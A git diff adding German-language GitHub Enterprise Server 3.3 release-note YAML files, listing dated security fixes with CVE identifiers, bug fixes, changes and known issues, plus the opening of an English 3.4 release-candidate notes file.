+    - Eine Reihe ausgewählter Menüs auf der gesamten Website wurden falsch gerendert und waren nicht funktionsfähig. 
+  changes:
+    - "Das Abhängigkeitsdiagramm kann jetzt auch ohne Sicherheitsrisikodaten aktiviert werden, sodass Kunden sehen können, welche Abhängigkeiten verwendet werden und welche Versionen sie haben. Die Aktivierung des Abhängigkeitsdiagramms ohne Aktivierung von GitHub Connect liefert **keine** Informationen über Sicherheitsrisiken." 
+    - Die Geheimnisüberprüfung überspringt die Überprüfung von ZIP- und anderen Archivdateien auf Geheimnisse.
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %} 3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit GitHub Connect aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den GitHub.com-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'
+    - '{% data variables.product.prodname_ghe_server %} 3.3-Instanzen, die in Azure installiert und mit mehr als 32 CPU-Kernen bereitgestellt wurden, werden aufgrund eines Fehlers im aktuellen Linux-Kernel nicht gestartet. [Aktualisiert: 08.04.2022]'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/5.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/5.yml
new file mode 100644
index 0000000000..3de41b18bb
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/5.yml
@@ -0,0 +1,19 @@
+date: '2022-03-01'
+sections:
+  security_fixes:
+    - "HOCH: Im GitHub-Markdownparser wurde ein Sicherheitsrisiko aufgrund eines Ganzzahlüberlaufs ermittelt, das potenziell zur Offenlegung von Informationen und einer Remotebefehlsausführung (Remote Command Execution, RCE) führen könnte. Dieses Sicherheitsrisiko wurde über das GitHub Bug Bounty-Programm von Felix Wilhelm (Project Zero von Google) gemeldet, und es wurde die Kennung CVE-2022-24724 zugewiesen."
+  bugs:
+    - "Bei Upgrades könnte es zu einem Fehler kommen, wenn die Uhr eines Hochverfügbarkeitsreplikats nicht mit dem primären Replikat synchron war." 
+    - "OAuth-Anwendungen, die nach dem 1. September 2020 erstellt wurden, konnten den API-Endpunkt zum [Überprüfen einer Autorisierung](https://docs.github.com/en/enterprise-server@3.3/rest/reference/apps#check-an-authorization) nicht nutzen." 
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %} 3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer*innen könnten Angreifer*innen die oder den erste*n Administratorbenutzer*in erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git LFS-Dateien, [die über die Webschnittstelle hochgeladen wurden,](https://github.com/blog/2105-upload-files-to-your-repositories) werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs länger ist als 255 Zeichen."
+    - "Wenn die Option zum Durchsuchen von GitHub.com bei GitHub Connect aktiviert ist, sind Issues in privaten und internen Repositorys nicht in den GitHub.com-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben sind."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'
+    - '{% data variables.product.prodname_ghe_server %} 3.3-Instanzen, die in Azure installiert und mit 32+ CPU-Kernen bereitgestellt wurden, werden aufgrund eines Fehlers im aktuellen Linux-Kernel nicht gestartet. [Aktualisiert: 08.04.2022]'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/6.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/6.yml
new file mode 100644
index 0000000000..32e51b4c02
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/6.yml
@@ -0,0 +1,50 @@
+date: '2022-04-04'
+sections:
+  security_fixes:
+    - 'MITTEL: In der Verwaltungskonsole von {% data variables.product.prodname_ghe_server %} wurde ein Sicherheitsrisiko aufgrund von Pfadausnahmen identifiziert, wodurch CSRF-Schutzmaßnahmen umgangen werden konnten. Dieses Sicherheitsrisiko betraf alle Versionen von {% data variables.product.prodname_ghe_server %} vor Version 3.5 und wurde in den Versionen 3.1.19, 3.2.11, 3.3.6 und 3.4.1 behoben. Dieses Sicherheitsrisiko wurde über das {% data variables.product.prodname_dotcom %} Bug Bounty Program gemeldet und weist die Kennung CVE-2022-23732 auf.'
+    - 'MITTEL: In den Branches 1.x und 2.x von „yajil“ wurde ein Sicherheitsrisiko aufgrund eines Ganzzahlüberlaufs identifiziert, wodurch es bei größeren Eingaben (~2 GB) zu Beschädigungen des nachfolgenden Heapspeichers kommt. Dieses Sicherheitsrisiko wurde intern gemeldet und weist die Kennung CVE-2022-24795 auf. '
+    - "Wurde {% data variables.product.prodname_actions %} aktiviert, konnten Supportbundles vertrauliche Daten enthalten." 
+    - Die Pakete wurden auf die neuesten Sicherheitsversionen aktualisiert.
+  bugs:
+    - "Bei der Aktivierung von {% data variables.product.prodname_dependabot %} führte ein Fehler dazu, dass einige Sicherheitshinweise vorübergehend als nicht mehr zutreffend gelesen wurden." 
+    - "Minio-Prozesse würden eine hohe CPU-Auslastung aufweisen, wenn eine alte Konfigurationsoption nach dem Upgrade von {% data variables.product.prodname_ghe_server %} vorhanden war." 
+    - "In den Datenschutzeinstellungen der Verwaltungskonsole wurden die Optionen zur Aktivierung von „TLS 1.0“ und „TLS 1.1“ angezeigt, obwohl diese Protokollversionen bereits in einem früheren Release entfernt wurden."
+    - "In einer Umgebung mit Hochverfügbarkeit wurden für die Konfiguration der MSSQL-Replikation zusätzliche manuelle Schritte erforderlich, wenn {% data variables.product.prodname_actions %} zum ersten Mal aktiviert wurde."
+    - Eine Teilmenge interner Konfigurationsdateien wird nach einem Hotpatch zuverlässiger aktualisiert. 
+    - Mit dem Skript „ghe-run-migrations“ ließen sich in einigen Fällen keine korrekten temporären Zertifikatnamen erzeugen. 
+    - "In einer Clusterumgebung konnten bei Git LFS-Vorgängen Fehler aufgrund fehlerhafter interner API-Aufrufe auftreten, die mehrere Webknoten durchlaufen haben."
+    - "Für Pre-Receive-Hooks, die „gpg --import“ verwendet haben, wurde das Zeitlimit aufgrund unzureichender syscall-Berechtigungen überschritten."
+    - In einigen Clustertopologien standen Informationen zur Webhookübermittlung nicht zur Verfügung. 
+    - Beim Ausführen von Migrationen war bei Elasticsearch-Integritätsprüfungen ein gelber Status nicht zulässig. 
+    - Repositorys würden auf der Webbenutzeroberfläche eine nicht funktionierende Registerkarte „Diskussionen“ anzeigen. 
+    - "Organisationen, die als Folge der Umwandlung eines Benutzerkontos in ein Organisationskonto erstellt wurden, wurden dem globalen Unternehmenskonto nicht hinzugefügt." 
+    - "Links zu Seiten, auf die der Zugriff nicht möglich ist, wurden entfernt." 
+    - "Das Bereitstellungsdiagramm {% data variables.product.prodname_actions %} würde beim Rendern eines ausstehenden Auftrags einen Fehler anzeigen." 
+    - "Bei einigen Instanzen kam es zu einer hohen CPU-Auslastung, da viele unnötige Hintergrundaufträge in die Warteschlange gestellt wurden." 
+    - "Bei Aufträgen zur Synchronisierung von LDAP-Benutzern würde ein Fehler auftreten, wenn sie versuchten, GPG-Schlüssel zu synchronisieren, die zuvor synchronisiert worden waren." 
+    - "Das Verfolgen eines Links zu einem Pull Request aus dem Pull Request-Dashboard des Benutzers führte dazu, dass der Repositoryheader nicht geladen wurde." 
+    - "Wurde einem Pull Request ein Team als Prüfer hinzugefügt, kam es gelegentlich zu einer falschen Angabe der Anzahl der Teammitglieder." 
+    - "Der API-Endpunkt zum Entfernen von Teammitgliedern würde mit einem Fehler reagieren, wenn versucht wurde, ein Mitglied zu entfernen, das extern über eine SCIM-Gruppe verwaltet wird." 
+    - "Bei der Konfiguration von {% data variables.product.prodname_github_connect %} konnte bei einer großen Anzahl inaktiver Benutzer ein Fehler auftreten." 
+    - Auf der Benutzeroberfläche des Websiteadministrators war die Seite „Feature- & Betaregistrierungen“ fälschlicherweise verfügbar. 
+    - In der Fußzeile der Website wurde der Status des Links „Websiteadministratormodus“ beim Klicken nicht geändert. 
+    - 'Beim Befehl „spokesctl cache-policy rm“ tritt nicht mehr mit der Meldung „error: failed to delete cache policy“ ein Fehler auf.'
+  changes:
+    - Die Verbindungsbeschränkungen im Arbeitsspeicher wurden für eine bessere Unterstützung großer Clustertopologien erhöht. 
+    - Die API für Abhängigkeitsdiagramme wurde bisher mit einem statisch definierten Port ausgeführt. 
+    - Die Standardanzahl von Shards für clusterbezogene Elasticsearch-Shardeinstellungen wurde aktualisiert. 
+    - Bei der Filterung von Unternehmensmitgliedern nach Organisationsrolle auf der Seite „Personen“ wurde der Text für die Einträge im Dropdownmenü verbessert. 
+    - Die Teamrollen „Selektierung“ und „Verwalten“ werden während der Migration von Repositorys beibehalten. 
+    - Für Webanforderungen durch Unternehmensbesitzer wurde die Leistung erhöht. 
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %} 3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl „ghe-actions-start“ aus."
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit {% data variables.product.prodname_github_connect %} aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den {% data variables.product.prodname_dotcom_the_website %}-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm „ghe-actions-precheck“ konfiguriert werden.'
+    - '{% data variables.product.prodname_ghe_server %} 3.3-Instanzen, die in Azure installiert und mit mehr als 32 CPU-Kernen bereitgestellt wurden, werden aufgrund eines Fehlers im aktuellen Linux-Kernel nicht gestartet. [Aktualisiert: 08.04.2022]'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/7.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/7.yml
new file mode 100644
index 0000000000..f347879896
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/7.yml
@@ -0,0 +1,32 @@
+date: '2022-04-20'
+sections:
+  security_fixes:
+    - Die Pakete wurden auf die neuesten Sicherheitsversionen aktualisiert. 
+  bugs:
+    - Beim Löschen einer Manifestdatei aus einem Repository wurde das Manifest nicht aus der Seite „Abhängigkeitsdiagramm“ des Repositorys entfernt. 
+    - "Es wurde eine Regression behoben, die zu regelmäßigen Fehlern beim Abrufen von Artefakten und beim Herunterladen von Protokollarchiven für {% data variables.product.prodname_actions %} führen konnte. Unter bestimmten Umständen wurden URLs mit `localhost` für die interne Kommunikation nicht mehr aufgelöst, und stattdessen wurde fälschlicherweise der Hostname der Instanz verwendet." 
+    - "Ein Upgrade der Knoten in einem Hochverfügbarkeitspaar mit einem Upgradepaket konnte in einigen Fällen dazu führen, dass Elasticsearch in einen inkonsistenten Zustand überging." 
+    - Rotierte Protokolldateien mit der Endung `.backup` sammelten sich in Verzeichnissen mit Systemprotokollen an.
+    - In einigen Clustertopologien konnten die Befehlszeilenhilfsprogramme `ghe-spokesctl` und `ghe-btop` nicht ausgeführt werden. 
+    - "Elasticsearch-Indizes wurden während eines Paketupgrades möglicherweise dupliziert, weil ein `elasticsearch-upgrade`-Dienst mehrfach parallel ausgeführt wurde." 
+    - In den Pull Request- und Commit-Ansichten konnten Rich-Diffs für einige von Git LFS nachverfolgte Dateien nicht geladen werden. 
+    - "Beim Konvertieren eines Benutzerkontos in eine Organisation wurde die konvertierte Organisation fälschlicherweise in der Liste der Unternehmensbesitzer angezeigt, wenn das Benutzerkonto ein Besitzer des {% data variables.product.prodname_ghe_server %}-Unternehmenskontos war." 
+    - "Das Erstellen eines OAuth-Tokens für den Identitätswechsel mithilfe der REST-API zur Verwaltung von Enterprise führte zu einem Fehler, wenn bereits eine Integration vorhanden war, die mit der OAuth-Anwendungs-ID übereinstimmte." 
+    - "Die REST-API zur Geheimnisüberprüfung gab einen `500`-Antwortcode zurück, wenn UTF8-Zeichen in einem erkannten Geheimnis enthalten waren." 
+    - "Die Cacheserver für ein Repository lieferten möglicherweise Daten aus Nicht-Cachespeicherorten, auch wenn die Daten im lokalen Cachespeicher verfügbar waren." 
+  changes:
+    - "Konfigurationsfehler, die zum Anhalten einer Konfigurationsanwendung führen, werden jetzt nicht nur im Konfigurationsprotokoll, sondern auch im Terminal ausgegeben." 
+    - "Wenn versucht wurde, einen Wert zwischenzuspeichern, der größer ist als der in Memcached erlaubte Maximalwert, wurde ein Fehler generiert, der Schlüssel wurde jedoch nicht gemeldet." 
+    - "Wenn {% data variables.product.prodname_GH_advanced_security %}-Features für eine Instanz aktiviert sind, hat sich die Leistung von Hintergrundaufträgen bei der Verarbeitung von Batches für Repositorybeiträge verbessert."
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %} 3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit {% data variables.product.prodname_github_connect %} aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den {% data variables.product.prodname_dotcom_the_website %}-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'
+    - '{% data variables.product.prodname_ghe_server %} 3.3-Instanzen, die in Azure installiert und mit mehr als 32 CPU-Kernen bereitgestellt wurden, werden aufgrund eines Fehlers im aktuellen Linux-Kernel nicht gestartet. [Aktualisiert: 08.04.2022]'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/8.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/8.yml
new file mode 100644
index 0000000000..2d8effc344
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/8.yml
@@ -0,0 +1,34 @@
+date: '2022-05-17'
+sections:
+  security_fixes:
+    - '**MITTEL:** Es wurde ein Sicherheitsproblem im nginx-Resolver identifiziert, bei dem ein Angreifer, der UDP-Pakete vom DNS-Server fälschen konnte, möglicherweise eine Überschreibung des 1-Byte-Arbeitsspeichers verursacht. Dies kann zum Absturz von Workerprozessen oder anderen potenziell schädlichen Auswirkungen führen. Dem Sicherheitsrisiko wurde [CVE-2021-23017](https://nvd.nist.gov/vuln/detail/CVE-2021-23017) zugeordnet.'
+    - "Die Aktionen `actions/checkout@v2` und `actions/checkout@v3` wurden aktualisiert, um neue Sicherheitsrisiken zu beheben, auf die im [Blogbeitrag zur Durchsetzung der Git-Sicherheit](https://github.blog/2022-04-12-git-security-vulnerability-announced/) aufmerksam gemacht wurde."
+    - Die Pakete wurden auf die neuesten Sicherheitsversionen aktualisiert.
+  bugs:
+    - In einigen Clustertopologien hinterließ der Befehl `ghe-cluster-status` leere Verzeichnisse in `/tmp`.
+    - SNMP protokollierte fälschlicherweise eine hohe Anzahl von `Cannot statfs`-Fehlermeldungen im Syslog.
+    - "Bei Instanzen, die mit SAML-Authentifizierung und integriertem Fallback konfiguriert sind, kam es für integrierte Benutzer zu einer Anmeldeschleife, wenn sie versuchten, sich über die nach dem Abmelden generierte Seite anzumelden."
+    - "Der Versuch, die Ausgabe von `git fsck` auf der Seite `/stafftools/repositories/:owner/:repo/disk` anzuzeigen, schlug mit der Meldung `500: Interner Serverfehler` fehl."
+    - Bei der Verwendung von SAML-verschlüsselten Assertions wurden SSH-Schlüssel bei einigen Assertions nicht korrekt als verifiziert markiert.
+    - Zu Issuekommentaren hochgeladene Videos wurden nicht korrekt wiedergegeben.
+    - "Bei Verwendung der Dateisuche auf einer Repositoryseite führte die Betätigung der RÜCKTASTE im Suchfeld dazu, dass die Suchergebnisse mehrfach aufgelistet wurden und es zu Darstellungsproblemen kam."
+    - "Bei der Verwendung von GitHub Enterprise Importer zum Importieren eines Repositorys konnte es vorkommen, dass der Import aufgrund von falsch konfigurierten Ereignissen in der Projektzeitleiste fehlschlug."
+    - "Bei der Verwendung von `ghe-migrator` konnte es vorkommen, dass bei einer Migration die Anhänge von Videodateien in Issues und Pull Requests nicht importiert wurden."
+    - 'Die Seite mit den Releases gab einen 500-Fehler zurück, wenn das Repository Tags mit Nicht-ASCII-Zeichen enthielt. [Aktualisiert: 10.06.2022]'
+  changes:
+    - "Bei Hochverfügbarkeitskonfigurationen ist zu beachten, dass auf der Replikationsübersichtsseite in der Verwaltungskonsole nur die aktuelle Replikationskonfiguration und nicht der aktuelle Replikationsstatus angezeigt wird."
+    - "Bei der Aktivierung von {% data variables.product.prodname_registry %} sollte klargestellt werden, dass die Verwendung eines SAS-Tokens (Shared Access Signature) als Verbindungszeichenfolge derzeit nicht unterstützt wird."
+    - Supportbundles enthalten jetzt die Zeilenzahl von in MySQL gespeicherten Tabellen.
+    - "Beim Bestimmen der Repositorynetzwerke, für die eine Wartung geplant werden sollte, wird die Größe nicht erreichbarer Objekte nicht länger berücksichtigt."
+    - "Das Antwortfeld `run_started_at` ist jetzt in der [Workflowausführungs-API](/rest/actions/workflow-runs) und in den Webhooknutzdaten des Ereignisses `workflow_run` enthalten."
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %} 3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit {% data variables.product.prodname_github_connect %} aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den {% data variables.product.prodname_dotcom_the_website %}-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-3/9.yml b/translations/de-DE/data/release-notes/enterprise-server/3-3/9.yml
new file mode 100644
index 0000000000..28eb4bb6d7
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-3/9.yml
@@ -0,0 +1,26 @@
+date: '2022-06-09'
+sections:
+  security_fixes:
+    - Die Pakete wurden auf die neuesten Sicherheitsversionen aktualisiert. 
+  bugs:
+    - "Ein internes Skript zur Überprüfung von Hostnamen in der {% data variables.product.prodname_ghe_server %}-Konfigurationsdatei gab einen Fehler zurück, wenn die Hostnamenzeichenfolge mit einem „.“ (Punkt) begann."
+    - "In HA-Konfigurationen, bei denen der Hostname des primären Knotens länger als 60 Zeichen war, konnte MySQL nicht konfiguriert werden."
+    - "Das Argument `--gateway` wurde dem Befehl `ghe-setup-network` hinzugefügt, um die Übergabe der Gatewayadresse bei der Konfiguration von Netzwerkeinstellungen über die Befehlszeile zu ermöglichen."
+    - Bei gelöschten Bildanhängen wurde `500 Interner Serverfehler` anstelle eines `404 – Nicht gefunden`-Fehlers ausgegeben.
+    - "Die Berechnung der „maximalen Anzahl von Committern in der gesamten Instanz“, die im Administratordashboard der Site angezeigt wurde, war falsch."
+    - "Ein falscher Datenbankeintrag für Repositoryreplikate führte zu einer Datenbankbeschädigung, wenn eine Wiederherstellung mit {% data variables.product.prodname_enterprise_backup_utilities %} durchgeführt wurde."
+  changes:
+    - Die Einbeziehung von Metriken bei der Erstellung eines Pakets zur Clusterunterstützung wurde optimiert. 
+    - "In HA-Konfigurationen, in denen Elasticsearch einen gültigen gelben Status meldete, blockierten Änderungen, die in einem früheren Fix eingeführt wurden, den Befehl `ghe-repl-stop` und ließen ein Beenden der Replikation nicht zu. Mit `ghe-repo-stop --force` wird nun das Beenden von Elasticsearch erzwungen, wenn sich der Dienst in einem normalen oder gültigen gelben Status befindet."
+    - "Bei der Verwendung von `ghe-migrator` oder beim Exportieren aus {% data variables.product.prodname_dotcom_the_website %} konnten Migrationen keine Pull Request-Anhänge exportieren."
+  known_issues:
+    - "Nach einem Upgrade auf {% data variables.product.prodname_ghe_server %} 3.3 wird {% data variables.product.prodname_actions %} möglicherweise nicht automatisch gestartet. Zur Behandlung dieses Problems stellst du die Verbindung mit der Appliance über SSH her und führst den Befehl `ghe-actions-start` aus."
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit {% data variables.product.prodname_github_connect %} aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den {% data variables.product.prodname_dotcom_the_website %}-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - '{% data variables.product.prodname_actions %}-Speichereinstellungen können nicht in der {% data variables.enterprise.management_console %} validiert und gespeichert werden, wenn die Option zum Erzwingen des Pfadformats ausgewählt ist. Sie müssen stattdessen mit dem Befehlszeilen-Hilfsprogramm `ghe-actions-precheck` konfiguriert werden.'
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-4/0-rc1.yml b/translations/de-DE/data/release-notes/enterprise-server/3-4/0-rc1.yml
new file mode 100644
index 0000000000..534c6d7f00
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-4/0-rc1.yml
@@ -0,0 +1,286 @@
+date: '2022-02-15'
+release_candidate: true
+deprecated: true
+intro: |
+  {% note %}
+
+  **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend only running release candidates on test environments.
+
+  {% endnote %}
+
+  For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."
+
+  > This release is dedicated to our colleague and friend John, a Hubber who was always there to help. You will be greatly missed.
+  >
+  > **John "Ralph" Wiebalk 1986–2021**
+
+sections:
+  features:
+    - heading: Secret scanning REST API now returns locations
+      notes:
+        # https://github.com/github/releases/issues/1642
+        - |
+          {% data variables.product.prodname_GH_advanced_security %} customers can now use the REST API to retrieve commit details of secrets detected in private repository scans. The new endpoint returns details of a secret's first detection within a file, including the secret's location and commit SHA. For more information, see "[Secret scanning](/rest/reference/secret-scanning)" in the REST API documentation.
+
